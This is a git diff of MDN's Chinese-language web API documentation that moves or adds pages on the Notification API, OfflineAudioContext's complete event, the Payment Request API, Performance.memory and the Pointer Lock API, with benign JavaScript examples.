请注意 Notification API 不是 {{Glossary("privileged")}} 或 {{Glossary("certified")}},因此当你在一个开放 web 应用中使用它时,你仍需要在你的 manifest.webapp 文件中包含以下项目:

+ +
"permissions": {
+  "desktop-notification": {
+    "description": "Needed for creating system notifications."
+  }
+}
+ +
+

注:当安装应用程序时,你不需要通过上面的代码显式的请求权限,但您仍然需要在触发通知之前取得权限项。

+
+ +

创建通知

+ +

创建通知很简单,只需要用 {{domxref("Notification")}} 构造方法。这个构造函数需要一个用来显示在通知内的标题以及一些用来增强通知的选项,例如 {{domxref("Notification.icon","icon")}} 或文本 {{domxref("Notification.body","body")}}。

+ +

一旦通知被创建出来,它会立即被显示出来。为了跟踪通知当前的状态,在 {{domxref("Notification")}} 实例层面上会有4个事件被触发:

+ +
+
{{event("show")}}
+
当通知被显示给用户时触发。
+
{{event("click")}}
+
当用户点击通知时触发。
+
{{event("close")}}
+
当通知被关闭时触发。
+
{{event("error")}}
+
当通知发生错误的时候触发。这通常是因为通知由于某些原因而无法显示。
+
+ +

这些事件可以通过事件处理跟踪 {{domxref("Notification.onshow","onshow")}}、{{domxref("Notification.onclick","onclick")}}、{{domxref("Notification.onclose","onclose")}} 和 {{domxref("Notification.onerror","onerror")}}。因为 {{domxref("Notification")}} 同样继承自 {{domxref("EventTarget")}},因此可以对它调用 {{domxref("EventTarget.addEventListener","addEventListener()")}} 方法。

+ +
+

注:Firefox 和 Safari 会在一定时间后自动关闭通知(大约4秒)。这也会发生在操作系统层面。

+ +

当然你也可以通过代码做到,调用 {{domxref("Notification.close()")}} 方法,就像下面的代码一样:

+ +
var n = new Notification("Hi!");
+n.onshow = function () {
+  setTimeout(n.close.bind(n), 5000);
+}
+
+ +

当你接收到一个“close”事件时,并不能保证这个通知是被用户关闭的。这是符合规范的,其中指出:“当一个通知被关闭时,通知的关闭动作都必须执行,不论是底层通知平台导致,还是用户导致。”

+
+ +

简单的例子

+ +

假定有如下的 HTML:

+ +
<button>Notify me!</button>
+ +

它可能通过这样的方式处理通知:

+ +
window.addEventListener('load', function () {
+  // 首先,让我们检查我们是否有权限发出通知
+  // 如果没有,我们就请求获得权限
+  if (window.Notification && Notification.permission !== "granted") {
+    Notification.requestPermission(function (status) {
+      if (Notification.permission !== status) {
+        Notification.permission = status;
+      }
+    });
+  }
+
+  var button = document.getElementsByTagName('button')[0];
+
+  button.addEventListener('click', function () {
+    // 如果用户同意就创建一个通知
+    if (window.Notification && Notification.permission === "granted") {
+      var n = new Notification("Hi!");
+    }
+
+    // 如果用户没有选择是否显示通知
+    // 注:因为在 Chrome 中我们无法确定 permission 属性是否有值,因此
+    // 检查该属性的值是否是 "default" 是不安全的。
+    else if (window.Notification && Notification.permission !== "denied") {
+      Notification.requestPermission(function (status) {
+        if (Notification.permission !== status) {
+          Notification.permission = status;
+        }
+
+        // 如果用户同意了
+        if (status === "granted") {
+          var n = new Notification("Hi!");
+        }
+
+        // 否则,我们可以让步的使用常规模态的 alert
+        else {
+          alert("Hi!");
+        }
+      });
+    }
+
+    // 如果用户拒绝接受通知
+    else {
+      // 我们可以让步的使用常规模态的 alert
+      alert("Hi!");
+    }
+  });
+});
+ +

这是实际的结果:

+ +

{{ EmbedLiveSample('Simple_example', '100%', 30) }}

+ +

处理重复的通知

+ +

某些情况下对于用户来说,显示大量通知是件令人痛苦的事情。比如,如果一个即时通信应用向用户提示每一条传入的消息。为了避免数以百计的不必要通知铺满用户的桌面,可能需要接管一个挂起消息的队列。

+ +

因此,需要为新建的通知添加一个标记。如果有一条通知也具有一个相同的标记,并且还没有被显示,那么这条新通知将会替换上一条通知。如果有一条通知具有一个相同的标记,并且已经显示出来了,那么上一条通知将会被关闭,新通知将会被显示出来。

+ +

使用标记的例子

+ +

假定有如下 HTML:

+ +
<button>Notify me!</button>
+ +

它有可能通过这种方式处理的多个通知:

+ +
window.addEventListener('load', function () {
+  // 首先,我们检查是否具有权限显示通知
+  // 如果没有,我们就申请权限
+  if (window.Notification && Notification.permission !== "granted") {
+    Notification.requestPermission(function (status) {
+      if (Notification.permission !== status) {
+        Notification.permission = status;
+      }
+    });
+  }
+
+  var button = document.getElementsByTagName('button')[0];
+
+  button.addEventListener('click', function () {
+    // 如果用户同意接收通知,我们就尝试发送10条通知
+    if (window.Notification && Notification.permission === "granted") {
+      for (var i = 0; i < 10; i++) {
+        // 感谢标记,我们应该只看到内容为 "Hi! 9" 的通知
+        var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
+      }
+    }
+
+    // 如果用户没有选择是否同意显示通知
+    // 注:由于在 Chrome 中不能确定 permission 属性是否有值,因此检查
+    // 该属性值是否为 "default" 是不安全的。
+    else if (window.Notification && Notification.permission !== "denied") {
+      Notification.requestPermission(function (status) {
+        if (Notification.permission !== status) {
+          Notification.permission = status;
+        }
+
+        // 如果用户同意
+        if (status === "granted") {
+          for (var i = 0; i < 10; i++) {
+            // Thanks to the tag, we should only see the "Hi! 9" notification
+            var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
+          }
+        }
+
+        // 否则改用 alert
+        else {
+          alert("Hi!");
+        }
+      });
+    }
+
+    // 如果用户拒绝
+    else {
+      // 改用 alert
+      alert("Hi!");
+    }
+  });
+});
+ +

实际效果如下:

+ +

{{ EmbedLiveSample('.E5.A4.84.E7.90.86.E9.87.8D.E5.A4.8D.E7.9A.84.E9.80.9A.E7.9F.A5', '100%', 30) }}

+ +

接收点击应用通知的通知

+ +

当用户点击一个由应用产生的通知时,视情况而定,你将会有两种方式被告知点击事件发生了:

+ +
    +
  1. 如果你的程序没有被关闭或转入后台,那么在你会收到一个点击事件。
  2. +
  3. 其他情况下会收到一条系统消息。
  4. +
+ +

参考 这个代码片段 作为例子,展示了如何处理。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Initial specification.
+ +

浏览器兼容性

+ +

{{page("/zh-CN/Web/API/Notification",".E6.B5.8F.E8.A7.88.E5.99.A8.E5.85.BC.E5.AE.B9.E6.80.A7")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/offlineaudiocontext/complete/index.html b/files/zh-cn/web/api/offlineaudiocontext/complete/index.html deleted file mode 100644 index 74bdb5f3ff..0000000000 --- a/files/zh-cn/web/api/offlineaudiocontext/complete/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: 'OfflineAudioContext: complete event' -slug: Web/API/OfflineAudioContext/complete -translation_of: Web/API/OfflineAudioContext/complete_event ---- -

{{DefaultAPISidebar("Web Audio API")}}

- -

complete当离线音频上下文的呈现完成时,将触发{{domxref("OfflineAudioContext")}}接口事件。

- - - - - - - - - - - - - - - - - - - - - - - - -
泡泡没有
取消没有
默认操作没有
接口{{domxref( "OfflineAudioCompletionEvent")}}
事件处理程序属性{{domxref( "OfflineAudioContext.oncomplete")}}
- -

例子

- -

处理完成后,您可能希望使用oncomplete处理程序提示用户现在可以播放音频,并启用播放按钮:

- -
offlineAudioCtx.addEventListener('complete',()=> {
-  console.log('Offline audio processing now complete');
-  showModalDialog('Song processed and ready to play');
-  playBtn.disabled = false;
-})
- -

You can also set up the event handler using the {{domxref("OfflineAudioContext.oncomplete")}} property:

- -
offlineAudioCtx.oncomplete = function() {
-  console.log('Offline audio processing now complete');
-  showModalDialog('Song processed and ready to play');
-  playBtn.disabled = false;
-}
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}{{Spec2('Web Audio API')}} 
- -

Browser compatibility

- - - -

{{Compat("api.OfflineAudioContext.complete_event")}}

- -

See also

- - diff --git a/files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html b/files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html new file mode 100644 index 0000000000..74bdb5f3ff --- /dev/null +++ b/files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html @@ -0,0 +1,81 @@ +--- +title: 'OfflineAudioContext: complete event' +slug: Web/API/OfflineAudioContext/complete +translation_of: Web/API/OfflineAudioContext/complete_event +--- +

{{DefaultAPISidebar("Web Audio API")}}

+ +

complete当离线音频上下文的呈现完成时,将触发{{domxref("OfflineAudioContext")}}接口事件。

+ + + + + + + + + + + + + + + + + + + + + + + + +
泡泡没有
取消没有
默认操作没有
接口{{domxref( "OfflineAudioCompletionEvent")}}
事件处理程序属性{{domxref( "OfflineAudioContext.oncomplete")}}
+ +

例子

+ +

处理完成后,您可能希望使用oncomplete处理程序提示用户现在可以播放音频,并启用播放按钮:

+ +
offlineAudioCtx.addEventListener('complete',()=> {
+  console.log('Offline audio processing now complete');
+  showModalDialog('Song processed and ready to play');
+  playBtn.disabled = false;
+})
+ +

You can also set up the event handler using the {{domxref("OfflineAudioContext.oncomplete")}} property:

+ +
offlineAudioCtx.oncomplete = function() {
+  console.log('Offline audio processing now complete');
+  showModalDialog('Song processed and ready to play');
+  playBtn.disabled = false;
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.OfflineAudioContext.complete_event")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/payment_request_api/concepts/index.html b/files/zh-cn/web/api/payment_request_api/concepts/index.html new file mode 100644 index 0000000000..a6772dc5be --- /dev/null +++ b/files/zh-cn/web/api/payment_request_api/concepts/index.html @@ -0,0 +1,128 @@ +--- +title: 交易过程的基本概念 +slug: Web/API/支付_请求_接口/Concepts +tags: + - API + - Apple Pay + - 中间状态 + - 交易 + - 付款方 + - 付款方式 + - 应用程序接口 + - 指南 + - 支付 + - 支付请求API + - 收款方 + - 贸易 +translation_of: Web/API/Payment_Request_API/Concepts +--- +

{{securecontext_header}}{{DefaultAPISidebar("Payment Request API")}}{{draft}}

+ +

交易请求API使在网站或应用上进行的交易变得更便捷。在这篇文档中,我们将了解此接口如何运作,以及各个组件的功能。

+ +

术语

+ +

在深入了解此API的工作方式前,你应该了解以下术语。

+ +
+
收款方(或商家)
+
商家可以是个人,也可以是一个组织。商家扮演的角色是在自己的网站或应用上通过支付请求API收款。
+
付款方
+
付款方可以是个人,也可以是一个组织。付款方扮演的角色是,在网站或应用上购买物品。支付流程要求付款方先自证身份,然后授权付款。
+
支付方式
+
付款的方式,例如信用卡或线上支付服务。
+
支付方式提供方
+
对某种特定支付方式提供技术支持的组织。例如,使用信用卡付钱时,信用卡交易处理就是一种支付方式提供方。
+
交易处理机
+
一段代码,作用是与付款方式提供方交互,进行交易处理。
+
+ +

某些交易处理机会用到商家认证。商家认证是指以某种方式认证商家的身份,可能的方式包括密码学机制(例如公钥)。认证成功后的商家得以和交易处理机进行交互。

+ +

支付方式识别码

+ +

交易处理机是通过支付方式识别码识别的。交易方式识别码是一个指向唯一交易处理机的字符串,它可以是一套已成标准的识别码,也可以是一个URL。后者被交易处理服务同时用于两种用途:自证身份和处理交易。

+ +

标准化的交易方式识别码

+ +

目前注册在案的只有一套标准化交易方式识别码。(未来可能会添加更多。)

+ +
+
基本卡(basic-card, 输入一次银行卡信息后即可多次消费的支付方式)
+
?根据基本卡规范进行交易处理。?详细说明请参见{{domxref("BasicCardRequest")}}。此处应该有对基本卡规范和使用方法进行说明的文档。
+
+ +

基于URL的交易方式识别码

+ +

这种识别方式的具体使用将会极大程度地依赖不同服务各自的规范。比如,某种服务可能使用多个URL链接,不同URL的使用依赖于API的版本和通信方式等。

+ +
+
https://apple.com/apple-pay
+
交易使用Apple Pay服务。目前,只有Safari浏览器支持这种交易方式。
+
https://google.com/pay
+
交易使用Google Pay. 目前,只有Chrome及Chrome内核的浏览器支持这种交易方式。
+
+ +

交易处理机的功能

+ +

{{Glossary("user agent")}}内部机制支持不同类型的交易。另外,你还可以调用交易处理API来支持更多相应的支付方式提供方(前提是你使用的浏览器支持这些API的使用)。不论使用哪种方式,交易处理机的功能都是如下几条:

+ +
    +
  1. 确保交易正确进行。 交易正确进行的条件取决于不同的支付类型和用户的支付请求;例如,如果用户选择了信用卡支付,而收款方并不支持这种方式,交易就无法正确进行。
  2. +
  3. 响应用户代理发起的对商家进行认证的请求(在处理机支持商家认证的前提下)。 详细说明请参考{{anch("Merchant validation")}}。
  4. +
  5. 验证用户提交的信息有资格发起一次有效交易。这一步骤会创建并返回一个基于具体支付方式的对象,此对象包含处理交易所需要的信息。
  6. +
+ +

商家认证

+ +

一些交易处理机包含商家认证步骤商家认证是指,通过某种方式识别商家的身份,使用的方式通常是“密码学挑战”。没有成功通过认证的商家不被允许使用交易处理机。

+ +

具体的认证方式由交易处理机决定,也完全可以省去这种认证。最终,网站或应用唯一要做的就是就是获取商家的认证密钥并传输给{{domxref("MerchantValidationEvent.complete", "complete()")}}事件的方法。

+ +
paymentRequest.onmerchantvalidation = function(event) {
+  event.complete(fetchValidationData(event.validationURL));
+}
+
+ +

在这个例子中,由fetchValidationData()方法加载由validationURL提供的认证信息。要注意到的是,这个方法必须由商家服务器转发,因为通常情况下,客户端不会主动访问用于认证的URL。

+ +

然后,该数据(或用来解析该数据的{{jsxref("Promise")}})被传送给交易处理机的complete()方法。交易处理机可以用该数据获取更多信息或是进行更多重的算法解析,以认证商家对处理机的使用权。

+ +

因此,注意到如下事实很重要:{{Glossary("user agent")}}永远不会发送{{event("merchantvalidation")}}事件,除非用户代理自身装载了交易处理机。例如,Safari浏览器本身即支持Apple Pay,而Apple Pay的交易处理机可据此向客户端发送merchantvalidation、指示客户端获取服务器上的认证信息,并将其传送给交易处理机的complete(),来为商品进行支付。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Payment')}}{{Spec2('Payment')}}初始定义。
{{SpecName('Basic Card Payment')}}{{Spec2('Basic Card Payment')}}定义了 {{domxref("BasicCardRequest")}} 和 {{domxref("BasicCardResponse")}}.
{{SpecName('Payment Method Identifiers')}}{{Spec2('Payment Method Identifiers')}}定义了支付方式识别码和认证方式,并在适用的情况下铸币或在W3C规范中进行登记。
+ +

相关文档

+ + diff --git a/files/zh-cn/web/api/payment_request_api/index.html b/files/zh-cn/web/api/payment_request_api/index.html new file mode 100644 index 0000000000..0df4261062 --- /dev/null +++ b/files/zh-cn/web/api/payment_request_api/index.html @@ -0,0 +1,136 @@ +--- +title: 支付请求接口 +slug: Web/API/支付_请求_接口 +tags: + - 中间状态 + - 信用卡 + - 到岸卸货 + - 参考 + - 应用程序接口 + - 支付 + - 支付请求 + - 支付请求接口 + - 概述 + - 贸易 +translation_of: Web/API/Payment_Request_API +--- +
{{DefaultAPISidebar("Payment Request API")}}{{securecontext_header}}
+ +

支付请求API为商家和支付者提供了统一的用户体验。它并非提供一种新的支付方式,而是让用户可以在原有的支付方式中进行选择,并使商家可以获悉用户的支付情况。

+ +

支付请求的概念和使用

+ +

在网上购物时,使许多用户中止购物车结算的原因都可以被归结为填写支付信息表单时的步骤繁多导致的费时费力。支付请求API正是被用以减少支付步骤,逐步彻底消除表单的填写。它的目的是简化结算流程,而实现此目的的方式是通过保存用户相关信息并传送给商家。在理想的情况下,用户将不需要填写HTML表单。

+ +

使用支付请求API中“保存卡信息并自动扣款”(使用银行卡支付时)的优点:

+ + + +

当用户在页面上进行操作发起一次支付,比如点击“购买”按钮时,网页会相应地创建一个{{domxref("PaymentRequest")}}对象。PaymentRequest对象允许网页与用户代理交互,传送用户输入的用以交易的信息。

+ +

你可以在Using the Payment Request API中查看完整指南。

+ +
+

注意:此API只有在设置了{{htmlattrxref("allowpaymentrequest","iframe")}}属性时才支持{{htmlelement("iframe")}}元素的跨域使用。

+
+ +

接口

+ +
+
{{domxref('PaymentAddress')}}
+
一个包含地址信息的对象;例如,可以包含账单地址和收货地址。
+
{{domxref('PaymentRequest')}}
+
一个提供了创建和管理 {{Glossary("user agent", "user agent's")}}支付接口的对象。
+
{{domxref('PaymentRequestEvent')}}
+
当{{domxref("PaymentRequest")}}发生时,被传送给支付回调函数的事件。
+
{{domxref('PaymentRequestUpdateEvent')}}
+
当用户进行操作时,使网页可以更新相应的支付信息的事件。
+
{{domxref('PaymentMethodChangeEvent')}}
+
代表支付凭证改变(例如,用户将支付方式从信用卡改为了借记卡)的事件。
+
{{domxref('PaymentResponse')}}
+
一个对象,当用户选择了一种支付方式并同意发起交易请求后被返回。
+
{{domxref('MerchantValidationEvent')}}
+
代表浏览器要求商家(网站)证实自身被允许使用某种特定的支付回调函数(例如,注册了对Apply Pay支付方式的使用)的事件。
+
+ +
+
+ +

词典

+ +
+
{{domxref("AddressErrors")}}
+
一个由字符串组成的词典,包含用以描述任何{{domxref("PaymentAddress")}}条目中可能出现的报错的相应描述。
+
{{domxref("PayerErrors")}}
+
一个由字符串组成的词典,包含了{{domxref("PaymentResponse")}}中出现的有关邮件地址、电话号码及姓名的报错的相应描述。
+
{{domxref("PaymentDetailsUpdate")}}
+
一个对象,用于描述当服务器在发起支付请求后且在用户与之交互前,需要更新支付信息的事件。
+
+ +

“保存卡信息并自动扣款”规范的相关词典

+ +
+
{{domxref("BasicCardChangeDetails")}}
+
一个对象,提供了当用户更改支付信息时,{{domxref("PaymentMethodChangeEvent.methodDetails", "methodDetails")}}中传送通过{{event("paymentmethodchange")}}事件传送给 {{domxref("PaymentRequest")}}的删节的地址信息。
+
{{domxref("BasicCardErrors")}}
+
一个对象,提供了{{domxref("BasicCardResponse")}}中无效信息的相关错误提示。错误发生时,该对象被传送给{{domxref("PaymentRequest")}},作为{{domxref("PaymentValidationErrors")}}对象中{{domxref("PaymentValidationErrors.paymentMethod", "paymentMethod")}}属性的值。
+
{{domxref('BasicCardRequest')}}
+
定义了支付请求信息(例如“卡类型”)对象的结构。
+
{{domxref('BasicCardResponse')}}
+
定义了支付请求响应(例如被使用的银行卡的“卡号”、“有效期”和“账单地址”)对象的结构。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Payment')}}{{Spec2('Payment')}}原始定义
{{SpecName('Basic Card Payment')}}{{Spec2('Basic Card Payment')}}定义信用卡支付回调函数中的{{domxref("BasicCardRequest")}}和{{domxref("BasicCardResponse")}}
{{SpecName('Payment Method Identifiers')}}{{Spec2('Payment Method Identifiers')}}定义支付方式的识别码和认证方式。对于某些适用的场景,通过W3C进行铸币和注册。
+ +

浏览器兼容性

+ +
+

支付请求接口

+ +
+ + +

{{Compat("api.PaymentRequest", 0)}}

+
+
+ +

相关文档

+ + diff --git a/files/zh-cn/web/api/performance/memory/index.html b/files/zh-cn/web/api/performance/memory/index.html new file mode 100644 index 0000000000..e9f5047d4e --- /dev/null +++ b/files/zh-cn/web/api/performance/memory/index.html @@ -0,0 +1,42 @@ +--- +title: Performance.memory +slug: Web/API/Performance/内存 +translation_of: Web/API/Performance/memory +--- +

{{APIRef}}

+ +

语法

+ +
timingInfo = performance.memory
+ +

属性

+ +
+
jsHeapSizeLimit
+
上下文内可用堆的最大体积,以字节计算。
+
totalJSHeapSize
+
 已分配的堆体积,以字节计算。
+
+ +
+
usedJSHeapSize
+
当前 JS 堆活跃段(segment)的体积,以字节计算。
+
+ +

规范

+ +

无。

+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Performance.memory")}}

+
+ +

查看更多

+ + diff --git "a/files/zh-cn/web/api/performance/\345\206\205\345\255\230/index.html" "b/files/zh-cn/web/api/performance/\345\206\205\345\255\230/index.html" deleted file mode 100644 index e9f5047d4e..0000000000 --- "a/files/zh-cn/web/api/performance/\345\206\205\345\255\230/index.html" +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Performance.memory -slug: Web/API/Performance/内存 -translation_of: Web/API/Performance/memory ---- -

{{APIRef}}

- -

语法

- -
timingInfo = performance.memory
- -

属性

- -
-
jsHeapSizeLimit
-
上下文内可用堆的最大体积,以字节计算。
-
totalJSHeapSize
-
 已分配的堆体积,以字节计算。
-
- -
-
usedJSHeapSize
-
当前 JS 堆活跃段(segment)的体积,以字节计算。
-
- -

规范

- -

无。

- -

浏览器兼容性

- -
- - -

{{Compat("api.Performance.memory")}}

-
- -

查看更多

- - diff --git a/files/zh-cn/web/api/pointer_lock_api/index.html b/files/zh-cn/web/api/pointer_lock_api/index.html new file mode 100644 index 0000000000..c22525ddb7 --- /dev/null +++ b/files/zh-cn/web/api/pointer_lock_api/index.html @@ -0,0 +1,267 @@ +--- +title: Pointer Lock API +slug: API/Pointer_Lock_API +translation_of: Web/API/Pointer_Lock_API +--- +

{{ SeeCompatTable() }}

+ +

指针锁定(以前叫做鼠标锁定) 提供了一种输入方法,这种方法是基于鼠标随着时间推移的运动的(也就是,deltas),而不仅是鼠标光标的绝对位置。通过它可以访问原始的鼠标运动,把鼠标事件的目标锁定到一个单独的元素,这就消除了鼠标在一个单独的方向上到底可以移动多远这方面的限制,并从视图中删去光标。

+ +

这个 API 对于需要大量的鼠标输入来控制运动,旋转物体,以及更改项目的应用程序来说非常有用。对高度视觉化的应用程序尤其重要,例如那些使用第一人称视角的应用程序,以及 3D 视图和建模。

+ +

举例来说,你可以创建让你的用户简单地通过移动鼠标而不需要点击任何按钮就可以控制视角的应用。那么这些按钮就可以被用作其他动作。这类鼠标输入对于查看地图,卫星图像,或者第一人称场景(例如在一个游戏中或者一个全景视频中)是非常方便使用的。

+ +

即使在光标移到浏览器或者屏幕区域之外,指针锁定也能够让你访问鼠标事件。例如,你的用户可以通过不断地移动鼠标来持续旋转或操纵一个 3D 模型。如果没有指针锁定的话,这些旋转或操纵会在指针到达浏览器或者屏幕边缘的那一刻停止。尤其是游戏玩家将会因为此功能而兴奋不已,因为他们可以疯狂地点击按钮,来回地滑动鼠标光标,而不必担心离开了游戏区域,进而不小心误点到另外一个应用程序上,结果将鼠标焦点移离了游戏。杯具了!

+ +

基本概念

+ +

指针锁定和鼠标捕获有关。鼠标捕获在一个鼠标被拖曳时可以向一个目标元素持续传递有关事件,但是当鼠标按钮被放开时就会停止。指针锁定和鼠标捕获在以下方面有所不同:

+ + + +

示例

+ +

下面是一个如何在你的网页中设置指针锁定的示例。

+ +
<button onclick="lockPointer();">锁住它!</button>
+<div id="pointer-lock-element"></div>
+<script>
+// 注意: 截止本文撰写时, 仅有 Mozilla 和 WebKit 支持指针锁定。
+
+// 我们将要使之全屏并指针锁定的元素。
+var elem;
+
+document.addEventListener("mousemove", function(e) {
+  var movementX = e.movementX       ||
+                  e.mozMovementX    ||
+                  e.webkitMovementX ||
+                  0,
+      movementY = e.movementY       ||
+                  e.mozMovementY    ||
+                  e.webkitMovementY ||
+                  0;
+
+  // 打印鼠标移动的增量值。
+  console.log("movementX=" + movementX, "movementY=" + movementY);
+}, false);
+
+function fullscreenChange() {
+  if (document.webkitFullscreenElement === elem ||
+      document.mozFullscreenElement === elem ||
+      document.mozFullScreenElement === elem) { // 较旧的 API 大写 'S'.
+    // 元素进入全屏模式了,现在我们可以请求指针锁定。
+    elem.requestPointerLock = elem.requestPointerLock    ||
+                              elem.mozRequestPointerLock ||
+                              elem.webkitRequestPointerLock;
+    elem.requestPointerLock();
+  }
+}
+
+document.addEventListener('fullscreenchange', fullscreenChange, false);
+document.addEventListener('mozfullscreenchange', fullscreenChange, false);
+document.addEventListener('webkitfullscreenchange', fullscreenChange, false);
+
+function pointerLockChange() {
+  if (document.mozPointerLockElement === elem ||
+      document.webkitPointerLockElement === elem) {
+    console.log("指针锁定成功了。");
+  } else {
+    console.log("指针锁定已丢失。");
+  }
+}
+
+document.addEventListener('pointerlockchange', pointerLockChange, false);
+document.addEventListener('mozpointerlockchange', pointerLockChange, false);
+document.addEventListener('webkitpointerlockchange', pointerLockChange, false);
+
+function pointerLockError() {
+  console.log("锁定指针时出错。");
+}
+
+document.addEventListener('pointerlockerror', pointerLockError, false);
+document.addEventListener('mozpointerlockerror', pointerLockError, false);
+document.addEventListener('webkitpointerlockerror', pointerLockError, false);
+
+function lockPointer() {
+  elem = document.getElementById("pointer-lock-element");
+  // 开始于使元素进入全屏模式。目前的实现
+  // 要求元素在请求指针锁定前要处于全屏模式下
+  // -- 这在以后可能会发生改变。
+  elem.requestFullscreen = elem.requestFullscreen    ||
+                           elem.mozRequestFullscreen ||
+                           elem.mozRequestFullScreen || // 较旧的 API 把 ‘S’ 大写
+                           elem.webkitRequestFullscreen;
+  elem.requestFullscreen();
+}
+</script>
+
+ +

方法/属性 概述

+ +

Pointer lock API, 和 Fullscreen API 类似,通过添加新方法来扩展 DOM 元素, requestPointerLock, 目前还是厂商前缀。按下面这样来写:

+ +
element.webkitRequestPointerLock(); // Chrome
+
+element.mozRequestPointerLock(); // Firefox
+
+ +

目前 requestPointerLock 的实现还是和 requestFullScreen 以及 Fullscreen API 紧紧地绑在一起的。一个元素在能够被指针锁定之前,必须首先进入全屏模式。就像上面演示的那样,锁定指针的过程是异步的,使用 (pointerlockchange, pointerlockerror) 事件来表明请求是成功还是失败了。这和 Fullscreen API 的工作方式是一致的,它使用 requestFullScreen 方法,以及 fullscreenchangefullscreenerror 事件。

+ +

Pointer lock API 还扩展了 document 接口,添加了一个新的属性和一个新的方法。新的属性被用于访问当前被锁定的元素(如果有的话),并被命名为 pointerLockElement,目前也使用厂商前缀。 document 添加的新方法是 exitPointerLock ,顾名思义,它是用来退出指针锁定的。

+ +

pointerLockElement 属性适用于确定当前是否有被指针锁定的元素(例如,用来做一个布尔检查),以及当有元素被锁定时获取该元素的一个引用。下面是这两种用法的一个例子:

+ +
document.pointerLockElement = document.pointerLockElement    ||
+                              document.mozPointerLockElement ||
+                              document.webkitPointerLockElement;
+
+// 1) 用于布尔检查--我们被指针锁定了吗?
+if (!!document.pointerLockElement) {
+  // 指针被锁定
+} else {
+  // 指针未被锁定
+}
+
+// 2) 用于访问指针锁定的元素
+if (document.pointerLockElement === someElement) {
+  // someElement 当前被指针锁定
+}
+
+ +

documentexitPointerLock 方法被用来退出指针锁定,而且和 requestPointerLock 一样,使用 pointerlockchangepointerlockerror事件以异步方式工作:

+ +
document.exitPointerLock = document.exitPointerLock    ||
+                           document.mozExitPointerLock ||
+                           document.webkitExitPointerLock;
+
+function pointerLockChange() {
+  document.pointerLockElement = document.pointerLockElement    ||
+                                document.mozPointerLockElement ||
+                                document.webkitPointerLockElement;
+
+  if (!!document.pointerLockElement) {
+    console.log("目前还是被锁定。");
+  } else {
+    console.log("已经退出锁定。");
+  }
+}
+
+document.addEventListener('pointerlockchange', pointerLockChange, false);
+document.addEventListener('mozpointerlockchange', pointerLockChange, false);
+document.addEventListener('webkitpointerlockchange', pointerLockChange, false);
+
+// 试图解除锁定
+document.exitPointerLock();
+
+ +

pointerlockchange 事件

+ +

当指针锁定状态改变时 - 例如,当调用 requestPointerLock, exitPointerLock,用户按下 ESC 键,等等。— pointerlockchange 事件被分发到 document。 这是一个简单事件所以不包含任何的额外数据。

+ +
该事件目前在 Firefox 中使用前缀的格式是 mozpointerlockchange ,在 Chrome 中是 webkitpointerlockchange。 
+ +

pointerlockerror 事件

+ +

当调用 requestPointerLockexitPointerLock而引发错误时,  pointerlockerror 事件被分发到 document。这是一个简单事件所以不包含任何的额外数据。

+ +
该事件目前在 Firefox 中被加上前缀为 mozpointerlockerror ,在 Chrome 中为 webkitpointerlockerror。 
+ +

鼠标事件扩展

+ +

Pointer lock API 使用 movement 属性扩展了标准的 MouseEvent

+ +
partial interface MouseEvent {
+    readonly attribute long movementX;
+    readonly attribute long movementY;
+};
+ +
movement 属性目前在 Firefox 中被加上前缀为 .mozMovementX.mozMovementY , 在 Chrome 中为.webkitMovementX.webkitMovementY
+ +

鼠标事件的两个新参数—movementX 和 movementY—提供了鼠标位置的变化情况。这两个参数的值,等于两个MouseEvent 属性( screenX 和 screenY)之间值的变化程度,这些 MouseEvent 属性被存储在两个连续的鼠标移动事件( eNow 和 ePrevious)中。换言之,指针锁定参数 movementX = eNow.screenX - ePrevious.screenX。(译注:不存在名为 eNow 或 ePrevious 的事件或属性,eNow 代指当前的鼠标移动事件,ePrevious 代指前一个鼠标移动事件)

+ +

锁定状态

+ +

当指针锁定被启动之后,正常的 MouseEvent 属性 clientX, clientY, screenX, 和 screenY ,保持不变,就像鼠标没有在移动一样。 movementXmovementY 属性持续提供鼠标的位置变化。如果鼠标在一个方向上持续移动,movementXmovementY的值是没有限制的。不存在鼠标光标的概念,而且光标无法移到窗口之外,而且也不会被屏幕边缘所固定。

+ +

未锁定状态

+ +

无论鼠标锁定状态是怎样的, movementX 和 movementY 参数一直有效,并且为了方便起见,甚至在未锁定状态也是有效的。

+ +

当鼠标被解除锁定,系统光标可以退出并重新进入浏览器窗口。如果发生这种情况,movementX 和 movementY 可能会被设置成0。

+ +

iframe 的限制

+ +

指针锁定一次只能锁定一个 iframe。如果你锁定了一个 iframe,你不能试图锁定另外一个 iframe 然后把目标转移到这个 iframe 上;指针锁定将会出错。为了避免这一问题,首先解锁那个锁定的 iframe,然后再锁定另外一个。

+ +

在 iframe 默认的情况下, "sandboxed" iframes 会阻止指针锁定。避免这种限制的能力,即以属性/值 <iframe sandbox="allow-pointer-lock"> 组合的形式 , 有望很快在 Chrome 中出现。

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持 +

目标是 23{{ property_prefix("webkit") }}*

+ +

参见 CR/72574

+
+

{{ CompatGeckoDesktop("14.0") }}

+ +

{{bug("633602") }}

+
{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
